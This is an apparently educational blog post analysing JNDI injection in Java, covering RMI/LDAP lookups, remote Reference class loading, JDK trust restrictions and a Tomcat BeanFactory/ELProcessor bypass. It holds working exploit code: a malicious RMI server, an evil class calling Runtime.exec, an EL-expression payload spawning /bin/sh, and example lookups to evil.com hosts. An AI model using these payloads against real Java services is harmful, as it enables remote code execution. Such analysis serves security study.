w0s1np

w0s1np

记录学习和思考 快就是慢、慢就是快 静下心来学习
github

JNDI Injection

JNDI Injection#

0x01 What is JNDI#

RMI && LDAP#

A directory is a type of distributed database, and a directory service is a system composed of a directory database and a set of access protocols. LDAP stands for Lightweight Directory Access Protocol, which provides a mechanism for querying, browsing, searching, and modifying internet directory data, running on top of the TCP/IP protocol stack and based on a C/S architecture. In addition to RMI services, JNDI can also interact with LDAP directory services, and Java objects can have various storage forms in the LDAP directory:

  • Java Serialization
  • JNDI Reference
  • Marshalled Objects
  • Remote Location (deprecated)

LDAP can specify various attributes for stored Java objects:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

JNDI Principles#

JNDI - Java Naming and Directory Interface, JNDI provides a unified client API, which is mapped to specific naming services and directory systems by administrators through implementations of different Service Provider Interfaces (SPI), allowing Java applications to interact with these naming and directory services, as shown in the figure:

image

Naming Service

A naming service is a simple key-value pair binding that allows retrieval of values by key names, with RMI being a typical naming service.

  • A naming service is an entity that associates names with values, also known as "binding."
  • It provides a tool for looking up objects based on names, referred to as "lookup" or "search" operations.

Directory Service

LDAP is a typical directory service.

  • It is a special type of naming service that allows storage and lookup of "directory objects."
  • Directory objects differ from general objects because they can associate attributes with objects.
  • Therefore, directory services provide extended functionality for manipulating object attributes.

The essence of naming services and directory services is the same; both look up objects by keys, but the keys in directory services are a bit more flexible and complex.

In simple terms, JNDI provides a set of generic interfaces for applications to easily access different backend services, such as LDAP, RMI, CORBA, etc. As shown in the figure:

492

In Java, to manage, access, and invoke remote resource objects more conveniently, services like LDAP and RMI are often used to bind resource objects or methods to fixed remote service endpoints for applications to access and invoke.

A simple JNDI example:

package jndi_test;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    public String sayHello(String name) throws RemoteException;
}
package jndi_test;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
    protected IHelloImpl() throws RemoteException {
        super();
    }

    public String sayHello(String name) throws RemoteException {
        return "Hello " + name + " ^_^";
    }
}
package jndi_test;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
    public static void main(String[] args) throws Exception {
        // Configure JNDI default settings
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        Context ctx = new InitialContext(env);

        // Start RMI service on local port 1099 and bind method object with identifier "hello"
        Registry registry = LocateRegistry.createRegistry(1099);
        IHello hello = new IHelloImpl();
        registry.bind("hello", hello);

        // JNDI retrieves the method object on RMI and invokes it
        IHello rHello = (IHello) ctx.lookup("http://192.168.1.148:1099/hello");
        System.out.println(rHello.sayHello("RickGray"));
    }
}

JNDI retrieves and invokes the remote method sayHello.

image

Here, the JNDI service is initialized, and during the initialization of JNDI settings, its context environment (RMI, LDAP, or CORBA, etc.) can be specified in advance. This example specifies the context environment as RMI.

Process:

493

When JNDI retrieves the remote sayHello() function and passes the "RickGray" parameter for invocation, the actual execution of that function occurs on the remote server, and upon completion, the result is serialized and returned to the application side.

Dynamic Loading of Bytecode in RMI#

If the remotely obtained object on the RMI service is of the Reference class (the abstract base class for reference object types) or its subclasses, then when the client obtains the remote object stub instance, it can load class files from other servers for instantiation.

Key attributes in Reference:

  1. className - The class name used for remote loading
  2. classFactory - The name of the class to be instantiated in the loaded class
  3. classFactoryLocation - The address providing class data, which can be file/ftp/http, etc.

For example, here we define a Reference instance and wrap the instance object using a class that inherits from UnicastRemoteObject, allowing it to be accessed remotely via RMI:

Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

When a client retrieves the remote object via lookup("refObj"), it obtains a stub of a Reference class. Since what is retrieved is a Reference instance, the client will first look for the class identified as refClassName in the local CLASSPATH. If not found locally, it will request http://example.com:12345/refClassName.class to dynamically load classes and invoke the constructor of insClassName.

This illustrates that when obtaining RMI remote objects, external code can be dynamically loaded for object type instantiation, and JNDI also has the capability to access RMI remote objects. As long as the lookup parameter, i.e., the parameter value of the lookup() function, is controllable, it may prompt the program to load and execute malicious code deployed on the attacker's server.

Dynamic Conversion of JNDI Protocols#

As mentioned above, when initializing JNDI settings, the context environment (RMI, LDAP, or CORBA, etc.) can be specified in advance.

        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        Context ctx = new InitialContext(env);

When calling lookup() or search(), it is possible to dynamically convert the context environment using a URI.

For example, the current context is set to access RMI services through the Context.PROVIDER_URL property, but it can still directly use the LDAP URI format to convert the context environment to access bound objects on the LDAP service:

ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

Why can an absolute path URI be used to dynamically convert the context environment?

InitialContext#lookup:

    public Object lookup(String name) throws NamingException {
        return getURLOrDefaultInitCtx(name).lookup(name);
    }

The specific code implementation of getURLOrDefaultInitCtx() is:

    protected Context getURLOrDefaultInitCtx(String name)
        throws NamingException {
        if (NamingManager.hasInitialContextFactoryBuilder()) {
            return getDefaultInitCtx();
        }
        String scheme = getURLScheme(name);
        if (scheme != null) {
            Context ctx = NamingManager.getURLContext(scheme, myProps);
            if (ctx != null) {
                return ctx;
            }
        }
        return getDefaultInitCtx();
    }

First, it checks whether a FactoryBuilder has been set, but this is actually unrelated to the INITIAL_CONTEXT_FACTORY we set, ultimately returning null.

Then it enters getURLScheme.

image

It takes the content before :// as the protocol name and passes it to NamingManager.getURLContext().

image

As can be seen, if the scheme cannot be obtained, it will use the originally specified INITIAL_CONTEXT_FACTORY in env; otherwise, it will perform dynamic conversion to obtain the context factory corresponding to the current protocol.

image

Following up on getURLObject.

image

ResourceManager.getFactory() will load the corresponding factory class through the context classloader.

Then it calls the factory class's getObjectInstance method to obtain the corresponding protocol context.

In summary, the final returned context type still depends on the URI passed to lookup; only when the URI is omitted will it use the INITIAL_CONTEXT_FACTORY specified in env.

That is, when the lookup() function is called for the first time, a context environment initialization occurs, and the code will perform a URL parsing on the paramName parameter value. If paramName contains a specific schema protocol, the code will use the corresponding factory to initialize the context environment. At this point, regardless of what the previously configured factory environment was, it will be dynamically replaced.

The JNDI protocols that support dynamic conversion by default are as follows:

Protocol NameProtocol URLContext Class
DNS Protocoldns://com.sun.jndi.url.dns.dnsURLContext
RMI Protocolrmi://com.sun.jndi.url.rmi.rmiURLContext
LDAP Protocolldap://com.sun.jndi.url.ldap.ldapURLContext
LDAP Protocolldaps://com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP Object Request Broker Protocoliiop://com.sun.jndi.url.iiop.iiopURLContext
IIOP Object Request Broker Protocoliiopname://com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP Object Request Broker Protocolcorbaname://com.sun.jndi.url.corbaname.corbanameURLContextFactory

0x02 JNDI Injection#

The core causes of JNDI injection are twofold:

  1. Dynamic protocol conversion
  2. Reference class

Version Restrictions#

  • Starting from JDK 5U45, 6U45, 7u21, and 8u121, java.rmi.server.useCodebaseOnly defaults to true, prohibiting the use of RMI ClassLoader to load remote classes (however, the Reference class loads remote classes essentially using URLClassLoader, so this parameter has no effect on JNDI injection).
  • Starting from JDK 6u132, 7u122, and 8u113, com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.rmi.object.trustURLCodebase default to false, prohibiting RMI and CORBA protocols from using remote codebase for JNDI injection.
  • Starting from JDK 11.0.1, 8u191, 7u201, and 6u211, com.sun.jndi.ldap.object.trustURLCodebase defaults to false, prohibiting the LDAP protocol from using remote codebase for JNDI injection.

495

JNDI Injection via RMI and LDAP (jdk<8u191)#

JNDI injection via RMI and LDAP is based on the special handling of the Reference class.

Exploitation Conditions#

  • The parameter of the client's lookup() method is controllable.
  • The classFactoryLocation parameter is controllable when the server uses Reference.

Injection Process#

Injection process:

  1. The attacker needs to construct a malicious object, adding malicious code in its constructor. This object is uploaded to the server to await remote loading.
  2. Construct a malicious RMI server, binding a ReferenceWrapper object, which is a wrapper for the Reference object.
  3. The attacker triggers dynamic environment conversion through a controllable URI parameter, for example, the URI is rmi://evil.com:1099/refObj;
  4. The originally configured context environment rmi://localhost:1099 will be dynamically redirected to rmi://evil.com:1099/;
  5. The application requests the bound object refObj from rmi://evil.com:1099, and the RMI service prepared by the attacker will return the ReferenceWrapper object (Reference("EvilObject", "EvilObject", "http://evil-cb.com/") that refObj is supposed to bind);
  6. The Reference object contains a remote address from which the malicious object class can be loaded.
  7. During the lookup process, JNDI will resolve the Reference object and remotely load the malicious object, triggering the vulnerability.

496

Why was the method of remotely loading the Reference object not mentioned in the RMI attack method? This is because the client has changed; previously, the client called the server's method via RMI, but here JNDI is calling, which also causes the lookup method to change, leading to the dynamic conversion of the JNDI protocol and triggering dynamic environment conversion.

0x03 RMI#

Example:

Server

package Inject;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);

            String factoryUrl = "http://127.0.0.1:8080/";
            Reference reference = new Reference("evilObject","evilObject", factoryUrl);
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
            registry.bind("w0s1np", wrapper);

            System.err.println("Server ready, factoryUrl:" + factoryUrl);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}
package Inject;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        try {
            Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/w0s1np");
            System.out.println("ret: " + ret);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

When the client calls the InitialContext().lookup() method, it will fetch the class from http://127.0.0.1:8080/evilObject.class and trigger the malicious code in the constructor.

public class evilObject {
    public evilObject() throws Exception{
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

Place evilObject.java in another directory (to prevent the compiled bytecode from being found in the current path during the vulnerability reproduction process when the application instantiates the EvilObject object and does not go to the remote for download).

image

Low Version JDK Analysis#

jdk8u_202, 65, 20 mixed debugging, and similar to rmi deserialization, using low version jdk has some debugging issues.

Analyzing the process after lookup.

image

First, obtain the RegistryContext@763 object, which also contains the stub object and rmi service address and port information, then enter the lookup method of the RegistryContext@763 object:

image

Then call the lookup of the RegistryImpl_Stub@764 object, this part is the same as the communication process between Stub and Skeleton in the RMI protocol.

That is, registry#lookup obtains the Remote class bound to the remote malicious server.

Then call the RegistryContext#decodeObject method, which calls the getObjectInstance of that Remote class to instantiate that class.

image

image

Check whether var1 is an instance of RemoteReference or its subclasses, then call NamingManager.getObjectInstance().

image

First, obtain the factory instance through getObjectFactoryFromReference, then call its getObjectInstance method.

Following up on getObjectFactoryFromReference,

image

First, call helper.loadClass(), which internally obtains the AppClassLoader from the context and then attempts to load the factory class from the local.

If it fails, it will obtain the codebase (which is the factoryLocation) and then pass it to the helper to try loading with URLClassLoader.

image

Remote loading, FactoryURLClassLoader is a subclass of URLClassLoader.

In the above Class.forName, the second parameter is true, so when loading, it can trigger the code in the static area.

After obtaining the class,

image

This will trigger the code in the constructor (this will be transformed into the ObjectFactory class, and to avoid errors, the malicious code can inherit this interface).

After returning, the getObjectInstance() method will be called again.

image

Summary#

The following three code blocks can execute our malicious code:

  • Static area
  • Constructor
  • getObjectInstance()

High Version JDK Analysis#

First, check where the restrictions are applied.

image

RegistryContext#decodeObject performs checks on the Reference object before NamingManager.getObjectInstance, where var8.getFactoryClassLocation() is the remote address we set as codebase, and trustURLCodebase defaults to false.

This means that by default, we are not allowed to set a remote address, thus defending against our remote loading of malicious classes.

Local Factory Class#

Since remote loading is prohibited via codebase, we can load a local factory that can exploit and then execute Java code.

However, this exploitation method is limited by whether the corresponding factory exists in the local classpath of the target machine.

The dangerous functions are still the three mentioned in the summary: static, constructor, and getObjectInstance(), but actually, static and constructor are unlikely to have exploitable places, so we mainly look for getObjectInstance(), which is a method of the ObjectFactory interface, so we just need to find the subclasses of ObjectFactory.

This method naturally also depends on other component dependencies, the most common being org.apache.naming.factory.BeanFactory and javax.el.ELProcessor.

Add the following tomcat dependencies:

<dependency>
  <groupId>org.apache.tomcat</groupId>
  <artifactId>tomcat-catalina</artifactId>
  <version>8.5.0</version>
</dependency>

<dependency>
  <groupId>org.apache.tomcat.embed</groupId>
  <artifactId>tomcat-embed-el</artifactId>
  <version>8.5.0</version>
</dependency>
package rmi_bypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");

        InitialContext ctx = new InitialContext(env);
        Registry registry = LocateRegistry.createRegistry(1099);
      
        // Instantiate Reference, specifying the target class as javax.el.ELProcessor, and the factory class as org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        // Force the 'x' property setter from 'setX' to 'eval', detailed logic see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        // Use expression to execute command
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open -a calculator']).start()\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("w0s1np", referenceWrapper);
    }
}
Forward Analysis#

First, go to NamingManager#getObjectInstance.

image

Enter BeanFactory#getObjectInstance.

image

getObjectInstance checks whether the current ref object is an instance of ResourceRef, and ResourceRef is a subclass of Reference.

So this explains why we need to construct a ResourceRef to load the factory class, rather than the Reference we commonly use.

Then obtain the classname, which is javax.el.ELProcessor, and call tcl to load the class.

image

“forceString” can force a setter method for the property, here we set the property "x" setter method to ELProcessor.eval().

First, obtain the forceString property from ref, then split it by , into pairs of methods, and then split each pair by =. The front is the key to be put into the map, and the back is the method name to be obtained from the beanclass (note that this will only get methods with String as parameters, we see that paramTypes is uncontrollable), and then put it into the forced hashmap.

image

Then in the following while loop, it will get Type. When it is not the value in the if, it will obtain the corresponding method from the forced using this Type name, here it is x, and then call this method via reflection, with the parameter being the value corresponding to x, so the two values (x) must be the same.

The bean object is the instance of beanClass, and when invoke succeeds, javax.el.ELProcessor#eval is executed.

Exploitation Summary

BeanFactory#getObjectInstance exploitation conditions:

  • Classes from JDK or common libraries
  • Public no-argument constructor //obviously, directly obtained through newInstance()
  • Public method with only one String.class type parameter, and that method can cause a vulnerability //can only call String methods

The above utilizes the el expression.

Reverse Engineering Analysis#
Locating ReferenceRef

From the restriction logic in RegistryContext#decodeObject, we can see that java.naming.Reference cannot be used because getFactoryClassLocation cannot pass.

var8 = (Reference)var3;

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
                throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
    public Reference(String className, String factory, String factoryLocation) {
        this(className);
        classFactory = factory;
        classFactoryLocation = factoryLocation;
    }

So, what other classes satisfy:

  1. Inherit from Reference
  2. getFactoryClassLocation can be null

Try to find subclasses of Reference.

image

Locating ReferenceWrapper

Still need to return to NamingManager#getObjectInstance.

ObjectFactory factory;
ref = (Reference) refInfo;
String f = ref.getFactoryClassName();
factory = getObjectFactoryFromReference(ref, f);
factory.getObjectInstance(ref, name, nameCtx, environment);

Check the constructor of ResourceRef.

public ResourceRef(String resourceClass, String description,
                       String scope, String auth, boolean singleton,
                       String factory, String factoryLocation)

image

So we just need to inherit ObjectFactory and have a dangerous function in getObjectInstance.

image

The BeanFactory originally serves to assign values through reflection to a certain BeanClass's setter.

However, we can force the setter specified by the forceString parameter to be eval in ELProcessor, so that beanClass.getMethod() becomes the method object of eval.

Exploitation conditions:

  1. Requires a no-argument constructor (because Object bean = beanClass.getConstructor().newInstance();)
  2. Can call methods that meet the conditions, requiring the method to have one parameter of type String (can find the setter method alias based on the Reference's properties)
  3. Can also call set* methods, requiring the method to have one parameter of type String
  4. All the above methods must be public
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
    throws NamingException {

    Reference ref = (Reference) obj;
    String beanClassName = ref.getClassName();
    ClassLoader tcl = Thread.currentThread().getContextClassLoader();
    // 1. Reflectively obtain the class object
    if (tcl != null) {
        beanClass = tcl.loadClass(beanClassName);
    } else {
        beanClass = Class.forName(beanClassName);
    }
    // 2. Initialize the class instance
    Object bean = beanClass.getConstructor().newInstance();

    // 3. Find the setter method alias based on Reference's properties
    RefAddr ra = ref.get("forceString");
    String value = (String)ra.getContent();

    // 4. Parse aliases and save them to the dictionary
    for (String param: value.split(",")) {
        param = param.trim();
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                param.substring(1);
        }
        forced.put(param, beanClass.getMethod(setterName, paramTypes));
    }

    // 5. Parse all properties and call setter methods based on aliases
    Enumeration<RefAddr> e = ref.getAll();
    while (e.hasMoreElements()) {
        ra = e.nextElement();
        String propName = ra.getType();
        String value = (String)ra.getContent();
        Object[] valueArray = new Object[1];
        Method method = forced.get(propName);
        if (method != null) {
            valueArray[0] = value;
            method.invoke(bean, valueArray);
        }
        // ...
    }
}
Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.